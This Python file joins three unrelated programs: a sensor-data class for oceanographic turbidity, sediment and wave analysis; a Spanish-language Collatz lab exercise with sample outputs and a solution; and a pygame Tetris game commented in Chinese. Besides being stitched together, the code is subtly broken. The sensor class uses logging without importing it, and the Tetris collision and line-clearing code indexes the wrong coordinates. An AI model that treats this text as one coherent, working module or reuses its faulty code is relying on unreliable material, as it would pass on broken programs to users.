import numpy as np
import os.path
import pandas as pd
import pyrsktools

from burst import BurstFourier, BurstWelch, BurstPeaks
from constants import (H5_PATH, OUTPUT_PATH, PROCESSED_PATH, VARIABLES,
                       TIMEZONE, AVG_FOLDER, Z_ELEVATION, DEVICES)
from intervals import DATA_INTERVALS, CALM_INTERVALS, STORM_INTERVALS
from tools import plotter, station

class Device(object):
    r"""
    Represents a RbR Concerto and its associated data (if loaded)

    Parameters
    ----------
    site : str
        ['S1', .. 'S5']
    dtype : string
        'floater' or 'bedframe'
    file : str
        file name without extension
    f : int
        Sampling frequency [Hz]
    sr : int
        Sampling rate (samples per burst)
    i : int
        Interval between bursts [s]
    T : array_like
        Turbidity calibration values [NTU]
    SSC : array_like
        Suspended sediment concentration [mg/L]
        Same length as T
    dformat : string
        Data format "h5" or "rsk"
    """

    def __init__(self, site, dtype, file, f, sr, i, T, SSC, dformat):
        self.site = site
        self.dtype = dtype
        self._init_logger()
        if dtype not in ["floater", "bedframe"]:
            raise ValueError("Unknown device type")
        if dformat not in ["rsk", "h5"]:
            raise ValueError("Unknown data format type")
        self.file = file
        self.f = f
        self.sr = sr
        self.i = i
        self.z = Z_ELEVATION
        self.df_tidal = None
        if len(T) != len(SSC):
            raise ValueError("T and SSC must have the same length")
        self.T = T
        self.SSC = SSC
        self.format = dformat
        self.vars = []
        self._load_data()

    def _init_logger(self):
        self.logger = logging.getLogger(str(self))
        self.logger.setLevel(logging.INFO)
        if not self.logger.handlers:
            fh = logging.FileHandler("./logs/%s.log" % str(self))
            fh.setLevel(logging.INFO)
            formatter = logging.Formatter(
                "%(asctime)s - %(name)s - %(levelname)s - %(message)s")
            fh.setFormatter(formatter)
            self.logger.addHandler(fh)
        self.logger.info("Device %s create" % str(self))

    def _set_vars(self):
        """
        Set number of variables available in self.df pandas.DataFrame
        """
        if self.vars == []:
            for v in self.df.columns:
                if v in VARIABLES.keys():
                    self.vars.append(VARIABLES[v])

    def _load_data(self):
        """
        Loads data from device file into self.df as a pandas.DataFrame.
        Loads burst-averaged data into self.df_avg as a pandas.DataFrame.
        """
        self.df = None
        self.df_avg = None
        if self.format == "h5":
            data_path = self.get_H5_path()
            self.df = pd.read_hdf(data_path, "df")
            try:
                self.df_avg = pd.read_hdf(self.get_H5_avg_path(), "df")
            except FileNotFoundError:
                self.set_df_avg(save=True)
            self.set_tide()
            self.logger.info(
                "Using %s as a dataframe source for averaged %s",
                self.get_H5_avg_path(),
                str(self))
            self.logger.info(self.df_avg.shape)
            self.logger.info(
                "NAN values: %s",
                str(self.df_avg.isnull().T.any().T.sum()))
        else:  # rsk
            data_path = self.get_RSK_path()
            rsk = pyrsktools.open(data_path)
            # Pandas dataframe for the win
            self.df = pd.DataFrame(rsk.npsamples())
            # timestamp as index, localize it as NZST
            self.df = self.df.set_index("timestamp")
            self.df.index = self.df.index.tz_convert(None)
            self.df.index = self.df.index.tz_localize(TIMEZONE)
            self.set_ssc()
        self.logger.info(
            "Using %s as a dataframe source for %s",
            data_path,
            str(self))
        self.logger.info(self.df.shape)
        self.logger.info(
            "NAN values: %s",
            str(self.df.isnull().T.any().T.sum()))
        self._set_vars()

    def _calc_bursts(self):
        """
        Calculates U, T and H for each valid burst.
        Note: only available for bedframe devices.
        """
        # Orbital speed, sig wave height and period
        if self.dtype != "bedframe":
            raise NotImplementedError("Not available in current class")
        self.df_avg["u"] = np.NaN
        self.df_avg["T"] = np.NaN
        self.df_avg["H"] = np.NaN
        df = self.clean_df(self.df, average=False)
        # Calculate U for each available burst
        start_date = self.df_avg.index[0]
        while start_date <= self.df_avg.index[-1]:
            end_date = start_date + pd.Timedelta("%ss" % self.i)
            burst = self.get_burst(
                        start=start_date,
                        end=end_date,
                        method="welch",
                        df=df)
            if burst:
                self.df_avg.loc[start_date, ["u", "T", "H"]] = burst.get_UTH()
            else:
                self.logger.warning("Invalid burst start date %s end date %s",
                                    str(start_date),
                                    str(end_date))
            start_date = end_date

    def set_tide(self):
        """
        Calculate trend of tide Ebb/Flood depending on next row's depth
        """
        if "Tide" not in self.df_avg.columns:
            self.df_avg["Tide"] = np.where(
                self.df_avg["depth_00"] > self.df_avg["depth_00"].shift(-1),
                "Ebb",
                "Flood")
        # last row doesn't have a next, compare with previous row
        last_rows = self.df_avg.tail(2)
        if last_rows.iloc[0].depth_00 > last_rows.iloc[1].depth_00:
            self.df_avg.at[self.df_avg.index[-1], "Tide"] = "Ebb"
        else:
            self.df_avg.at[self.df_avg.index[-1], "Tide"] = "Flood"

    def set_ssc(self):
        """
        Calculate SSC from linear interpolation of self.T with self.SSC
        """
        if "ssc" not in self.df.columns:
            self.df["ssc"] = self.df.apply(
                lambda r: np.interp(
                    r.turbidity_00,
                    self.T,
                    self.SSC),
                axis=1)
            # S1 floater saturated, remove max values
            if self.site == "S1" and self.dtype == "floater":
                d = self.get_dict_device()
                self.df.loc[
                    self.df["ssc"] == d["ssc_saturated_value"], ["ssc"]
                    ] = np.NaN

    def save_H5(self, avg=False):
        """
        Saves device data to h5 file
        """
        if not os.path.isfile(self.get_H5_path()):
            self.df.to_hdf(self.get_H5_path(), key="df", mode="w")
        if avg:
            self.df_avg.to_hdf(self.get_H5_avg_path(), key="df", mode="w")

    def get_H5_path(self):
        return "%s%s.h5" % (H5_PATH, self.file)

    def get_H5_avg_path(self):
        return "%s%s/%s.h5" % (H5_PATH, AVG_FOLDER, self.file)

    def get_RSK_path(self):
        return "%s%s_processed.rsk" % (PROCESSED_PATH, self.file)

    def get_burst(self, start=None, end=None, method="fourier", df=None):
        """"
        Get Burst from start to end dates

        """
        if df is None:
            df = self.df
        bvars = [
            "salinity_00",
            "temperature_00",
            "seapressure_00",
            "depth_00"]
        dfburst = df[(df.index >= start) & (df.index < end)][:self.sr][bvars]
        # discard burst with missing values or NaN
        if ((len(dfburst) < (self.sr/2)) or
            (dfburst.isnull().values.sum() != 0) or
                (dfburst.isna().values.sum() != 0)):
            return None
        if method == "fourier":
            return BurstFourier(
                dfburst, dfburst.index, self.f, self.z, str(self))
        elif method == "welch":
            return BurstWelch(
                dfburst, dfburst.index, self.f, self.z, str(self))
        else:
            return BurstPeaks(
                dfburst, dfburst.index, self.f, self.z, str(self))

    def set_df_avg(self, save=False):
        """
        Calculates SSC, clean data, average and save pandas.DataFrame
        in self.data_path_avg file
        """
        self.set_ssc()
        self.df_avg = self.clean_df(self.df)
        self.df_avg["ssc_sd"] = self.df.ssc.resample("%ss" % self.i).std()
        if self.dtype == "bedframe":
            self._calc_bursts()
        self.save_H5(avg=save)

    def clean_df(self, df, average=True):
        """ Clean and average given dataframe df """
        intervals = DATA_INTERVALS[self.__str__()]
        if average:
            df = df.resample("%ss" % self.i, label="left").mean()
            dfr = pd.DataFrame(
                    index=df.index,
                    columns=df.columns) if intervals else df
        else:
            dfr = pd.DataFrame(columns=df.columns) if intervals else df
        if intervals:
            for interval in intervals:
                if average:
                    dfr.update(df[interval[0]:interval[1]])
                else:
                    dfr = dfr.append(df[interval[0]:interval[1]])
        # just in case some dodgy data sneaked into the intervals
        dfr.loc[dfr.turbidity_00 < 0, "turbidity_00"] = np.nan
        return dfr

    def get_depth_stats(self):
        """
        Burst-averaged mean, max, min values of Depth [m]
        """
        return (round(self.df_avg.depth_00.mean(), 2),
                round(self.df_avg.depth_00.max(), 2),
                round(self.df_avg.depth_00.min(), 2))

    def get_wave_stats(self):
        """
        Burst-averaged mean, max, min values of sig wave height [m]
        """
        return (round(self.df_avg[self.df_avg.H > 0].H.mean(), 2),
                round(self.df_avg[self.df_avg.H > 0].H.max(), 2),
                round(self.df_avg[self.df_avg.H > 0].H.min(), 2))

    def get_period_stats(self):
        """
        Burst-averaged mean, max, min values of peak period [s]
        """
        return (round(self.df_avg[self.df_avg["T"] > 0]["T"].mean(), 2),
                round(self.df_avg[self.df_avg["T"] > 0]["T"].max(), 2),
                round(self.df_avg[self.df_avg["T"] > 0]["T"].min(), 2))

    def get_u_stats(self):
        """
        Burst-averaged mean, max, min values of orbital velocity [cm/s]
        """
        return (round(self.df_avg[self.df_avg["u"] > 0]["u"].mean(), 2),
                round(self.df_avg[self.df_avg["u"] > 0]["u"].max(), 2),
                round(self.df_avg[self.df_avg["u"] > 0]["u"].min(), 2))

    def get_ssc_stats(self):
        """
        Burst-averaged mean, max, min values of SSC [mg/l]
        """
        return (round(self.df_avg[self.df_avg["ssc"] > 0.01]["ssc"].mean(), 4),
                round(self.df_avg[self.df_avg["ssc"] > 0.01]["ssc"].max(), 4),
                round(self.df_avg[self.df_avg["ssc"] > 0.01]["ssc"].min(), 4))

    def get_time_stats(self):
        """
        Get % of time in the water (depth available)
        """
        perc = (len(self.df_avg[self.df_avg.depth_00 > 0.025]) /
                len(self.df_avg)) * 100
        self.logger.info("Time in the water %f", perc)
        return round(perc, 2)

    def get_dict_device(self):
        """ Return dict element defined in constants file """
        return next(item for item in DEVICES if (item["site"] == self.site and
                    item["type"] == self.dtype))

    def __str__(self):
        return ("%s %s") % (self.site, self.dtype.capitalize())

    def unicode(self):
        return self.__str__()

    def plot_days(self):
        dflist = [group for group in self.df.groupby(self.df.index.date)]
        for date, dfday in dflist:
            # all variables in the same plot
            dest_file = "%s%s/%s/%s.png" % (
                OUTPUT_PATH,
                self.site,
                self.dtype,
                str(date))
            plotter.plot_all_hourly(dest_file, date, dfday, self.vars)
            title = "%s %s" % (str(self), str(date))
            # averaged turb and depth (W/O cleaning it)
            dest_file = "%s%s/%s/%s/%s.png" % (
                OUTPUT_PATH,
                self.site,
                self.dtype,
                AVG_FOLDER,
                str(date))
            dfr = dfday.resample("%ss" % self.i).mean()
            plotter.plot_hourly_ssc_depth_avg(
                dfr[["ssc", "depth_00"]],
                date,
                dest_file,
                title)
            if self.df_avg is not None:
                # averaged CLEAN turb and depth
                dfr = self.df_avg[self.df_avg.index.date == date]
                parts = dest_file.split(".")
                dest_file = ".".join(parts[:-1]) + "_clean" + "." + parts[-1]
                plotter.plot_hourly_ssc_depth_avg(
                    dfr[["ssc", "depth_00"]],
                    date,
                    dest_file,
                    title)

    def plot_avg(self):
        """
        Plot averaged-bursts of SSC vs depth and salinity
        """
        dest_file = "%s%s/%s/%s/ssc.png" % (
                OUTPUT_PATH,
                self.site,
                self.dtype,
                AVG_FOLDER)
        plotter.plot_ssc_avg(self.df_avg, dest_file, str(self))

    def plot_ssc_u(self):
        """ Plots SSC vs wave orbital velocity """
        dest_file = "%s%s/%s/%s/%s_%s_ssc_vs_u.png" % (
            OUTPUT_PATH,
            self.site,
            self.dtype,
            AVG_FOLDER,
            self.site.lower(),
            self.dtype.lower())
        plotter.plot_ssc_u(self.df_avg, dest_file, str(self))
        dest_file = "%s%s/%s/%s/%s_%s_ssc_vs_u_log.png" % (
            OUTPUT_PATH,
            self.site,
            self.dtype,
            AVG_FOLDER,
            self.site.lower(),
            self.dtype.lower())
        plotter.plot_ssc_u_log(self.df_avg, dest_file, str(self))

    def plot_ssc_u_h(self, dffl=None):
        """ Plots a time series for SSC, Sig wave height and water depth """
        dest_file = "%s%s/%s/%s/%s_ssc_u_h_series.png" % (
            OUTPUT_PATH,
            self.site,
            self.dtype,
            AVG_FOLDER,
            str(self).lower())
        plotter.plot_ssc_u_h_series(self.df_avg, dffl, dest_file, str(self))

    def plot_ssc_u_h_weekly(self, dffl=None):
        """ Plots a detailed weekly times series """
        dfwindlist = station.get_weekly_wind()
        dfrainlist = station.get_weekly_rainfall()
        dfpressurelist = station.get_weekly_pressure()
        dfrivers = station.get_weekly_rivers()
        dflist = [g for g in self.df_avg.groupby(self.df_avg.index.week)]
        if dffl is not None:
            dffllist = [g for g in dffl.groupby(dffl.index.week)]
        else:
            dffllist = [[None, None] for i in dflist]
        depthlist = self.get_weekly_corrected_depth()
        i = 0
        for date, dfweek in dflist:
            dfriverlist = [(k, val[i]) for k, val in dfrivers.items()]
            dest_file = "%s%s/%s/%s/weekly_ssc_u_h_series_%d.png" % (
                OUTPUT_PATH,
                self.site,
                self.dtype,
                AVG_FOLDER,
                i)
            dfweek["u"] = dfweek["u"].fillna(-1)
            plotter.plot_ssc_u_h_weekly_series(
                dfweek,
                dffllist[i][1],
                dfwindlist[i],
                dfrainlist[i],
                dfpressurelist[i],
                depthlist[i],
                dfriverlist,
                dest_file,
                date,
                str(self),
                i)
            i += 1

    def plot_depth(self):
        return plotter.plot_depth(self.df_avg)

    def get_weekly_corrected_depth(self):
        self.df["depth_corrected"] = self.df["depth_00"] - 0.15
        self.df.loc[self.df["depth_corrected"] < 0, ["depth_corrected"]] = 0
        return [g[1]["depth_corrected"].resample("%ss" % self.i).mean()
                for g in self.df.groupby(self.df.index.week)]

    def plot_tidal_ssc(self, intervals=None):
        """
        Plot SSC and U values per tidal cycle defined by given intervals.
        """
        if intervals is None:
            intervals = STORM_INTERVALS[self.__str__()]
        else:
            intervals = intervals[self.__str__()]
        tidal_vars = ["hours", "u", "ssc", "H", "depth_00", "T"]

        if self.df_tidal is None:
            tdelta = pd.Timedelta("300s")
            df_tidal = pd.DataFrame()
            for interval in intervals:
                df_int = self.df_avg[interval[0]:interval[1]]
                mid = df_int[df_int["Tide"] == "Ebb"].head(1).index[0] - tdelta
                df_int["hours"] = df_int.apply(
                    lambda r: get_hours(r, mid),
                    axis=1)
                df_tidal = df_tidal.append(df_int[tidal_vars])
                df_tidal["ssc"] = pd.to_numeric(df_tidal["ssc"])
            self.df_tidal = df_tidal
        plotter.plot_tidal_u_ssc(self.df_tidal, intervals)

    def get_intervals_df(self, intervals=None):
        """
        Plot SSC and U values per tidal cycle defined by given intervals.
        """
        if intervals is None:
            intervals = STORM_INTERVALS[self.__str__()]
        else:
            intervals = intervals[self.__str__()]
        tidal_vars = ["u", "ssc", "depth_00", "Tide"]

        if self.df_tidal is None:
            tdelta = pd.Timedelta("300s")
            df_tidal = pd.DataFrame()
            for interval in intervals:
                df_int = self.df_avg[interval[0]:interval[1]]
                # mid = df_int[df_int["Tide"] == "Ebb"].head(1).index[0] - tdelta
                # df_int["hours"] = df_int.apply(
                #     lambda r: get_hours(r, mid),
                #     axis=1)
                df_tidal = df_tidal.append(df_int[tidal_vars])
                df_tidal["ssc"] = pd.to_numeric(df_tidal["ssc"])
                df_tidal["depth_00"] = pd.to_numeric(df_tidal["depth_00"])
                df_tidal["site"] = self.site
                self.df_tidal = df_tidal
        return self.df_tidal

def get_hours(row, mid_value):
    """
    Get signed difference, in seconds, between row index (name)
    and given mid_value timestamp
    """
    if (row.name < mid_value):
        return -(mid_value - row.name).total_seconds()/3600
    else:
        return (row.name - mid_value).total_seconds()/3600


#LAB 3.1.2.15

# Escenario
# En 1937, un matemático alemán llamado Lothar Collatz formuló una hipótesis intrigante (aún no se ha comprobado) que se puede
# describir de la siguiente manera:

# Toma cualquier número entero que no sea negativo y que no sea cero y asígnale el nombre c0.
# Si es par, evalúa un nuevo c0 como c0 ÷ 2.
# De lo contrario, si es impar, evalúe un nuevo  c0  como 3 × c0 + 1.
# Si c0 ≠ 1, salta al punto 2.
# La hipótesis dice que, independientemente del valor inicial de c0, el valor siempre tiende a 1.

# Escribe un programa que lea un número natural y ejecute los pasos anteriores siempre que c0 sea diferente de 1.
# También queremos que cuente los pasos necesarios para lograr el objetivo. Tu código también debe mostrar todos los valores
# intermedios de c0.
# SugerEncia: la parte más importante del problema es como transformar la idea de Collatz en un ciclo while- esta es la clave del  éxito.

# Prueba tu código con los datos que hemos proporcionado.

# Entrada de muestra: 15
# Salida esperada:

# 46
# 23
# 70
# 35
# 106
# 53
# 160
# 80
# 40
# 20
# 10
# 5
# 16
# 8
# 4
# 2
# 1
# pasos = 17

# Entrada de muestra: 16
# Salida esperada:

# 8
# 4
# 2
# 1
# pasos = 4

# Entrada de muestra: 1023
# Salida esperada:

# 3070
# 1535
# 4606
# 2303
# 6910
# 3455
# 10366
# 5183
# 15550
# 7775
# 23326
# 11663
# 34990
# 17495
# 52486
# 26243
# 78730
# 39365
# 118096
# 59048
# 29524
# 14762
# 7381
# 22144
# 11072
# 5536
# 2768
# 1384
# 692
# 346
# 173
# 520
# 260
# 130
# 65
# 196
# 98
# 49
# 148
# 74
# 37
# 112
# 56
# 28
# 14
# 7
# 22
# 11
# 34
# 17
# 52
# 26
# 13
# 40
# 20
# 10
# 5
# 16
# 8
# 4
# 2
# 1
# pasos = 62

#ALGORITMO: *************************************************************************************************
import pyfiglet
ASCII_art_0 = pyfiglet.figlet_format("ORI - TEOREMA DE COLLATZ")

print(ASCII_art_0)
numeroMaestro = int(input("Porfavor ingresa un número: "))
bandera = 0
if numeroMaestro > 1:
    c0 = numeroMaestro
    while c0 > 1:
        if c0 % 2 == 0:
            bandera += 1
            c0 = int(c0 / 2)
            print(c0)
        else :
            bandera += 1
            c0 = int(3 * c0 + 1)
            print(c0)
    print("Pasos: ", bandera)
else :
    print("Por favor introduce un numero natural mayor que 1...")
print("Fin del programa!!!")


import pygame, sys, random
# 初始坐标，确定行数和列数
block_initial_position, score, times, gameover, press, all_block, background = [20, 5], [0], 0, [], False, [
    [[0, 0], [0, -1], [0, 1], [0, 2]], [[0, 0], [0, 1], [-1, 1], [-1, 0]], [[0, 0], [0, -1], [-1, 0], [-1, 1]],
    [[0, 0], [0, 1], [-1, -1], [-1, 0]], [[0, 0], [0, 1], [1, 0], [0, -1]], [[0, 0], [1, 0], [-1, 0], [1, -1]],
    [[0, 0], [1, 0], [-1, 0], [1, 1]]], [[0 for column in range(0, 10)] for row in range(0, 22)]
background[0], select_block = [1 for column in range(0, 10)], list(random.choice(all_block))

# 移动函数处理
def move(n):
    # 设置一个初始值
    if n == 100:
        for row, column in select_block:
            pygame.draw.rect(screen, (255, 165, 0), (
                (column + block_initial_position[1]) * 40, 800 - (row + block_initial_position[0]) * 40, 38, 38))
        for row in range(0, 20):
            for column in range(0, 10):
                if background[row][column]: pygame.draw.rect(screen, (0, 0, 255), (column * 40, 800 - row * 40, 38, 38))
    y_drop, x_move = block_initial_position
    if n == 1 or n == -1:
        x_move += n
        for row, column in select_block:
            if (column + x_move) < 0 or (column + x_move) > 9 or background[column + y_drop][column + x_move]: break
        else:
            block_initial_position.clear(), block_initial_position.extend([y_drop, x_move])
    if n == 0:
        rotating_position = [(-column, row) for row, column in select_block]
        for row, column in rotating_position:
            if (column + x_move) < 0 or (column + x_move) > 9 or background[row + y_drop][row + x_move]: break
        else:
            select_block.clear(), select_block.extend(rotating_position)
    if n == 10:
        # 掉下的方块坐标-1
        y_drop -= 1
        for row, column in select_block:
            if background[row + y_drop][column + x_move] == 1: break
        else:
            block_initial_position.clear()
            block_initial_position.extend([y_drop, x_move])
            return
        for row, column in select_block: background[block_initial_position[0] + row][
            block_initial_position[1] + column] = 1
        complete_row = []
        for row in range(1, 20):
            if 0 not in background[row]: complete_row.append(x_move)
        complete_row.sort(reverse=True)
        for row in complete_row:
            background.pop(row)
            # 列表推导式
            background.append([0 for column in range(0, 10)])
        score[0] += len(complete_row)
        pygame.display.set_caption('俄罗斯方块[你的分数：' + str(score[0] * 100) + '分]')
        select_block.clear(), select_block.extend(list(random.choice(all_block)))
        block_initial_position.clear(), block_initial_position.extend([19, 4])
        for row, column in select_block:
            if background[row + block_initial_position[0]][column + block_initial_position[1]]: gameover.append(1)

# 初始化游戏
pygame.init()
screen = pygame.display.set_mode((400, 800))  # set_mode((400,800)) 修改数值可以修改窗口大小 但第7行和第10行要做相应的改动
while True:
    # 设置颜色
    screen.fill((255, 255, 255))
    # 按键处理
    for event in pygame.event.get():
        # 暂停游戏的处理
        if event.type == pygame.QUIT:
            sys.exit()
        # 方向键的处理 左下
        elif event.type == pygame.KEYDOWN and event.key == pygame.K_LEFT:
            move(-1)
        # 右下
        elif event.type == pygame.KEYDOWN and event.key == pygame.K_RIGHT:
            move(1)
        # 上下
        elif event.type == pygame.KEYDOWN and event.key == pygame.K_UP:
            move(0)
        elif event.type == pygame.KEYDOWN and event.key == pygame.K_DOWN:
            press = True
        elif event.type == pygame.KEYUP and event.key == pygame.K_DOWN:
            press = False
    if press: times += 10
    if times >= 50:
        # 移动10个单位长度
        move(10)
        times = 0
    else:
        # 时间处理
        times += 1
    # 游戏结束
    if gameover: sys.exit()
    move(100)
    pygame.time.Clock().tick(200)  # tick(200)修改数字可以修改游戏的整体速率
    pygame.display.flip()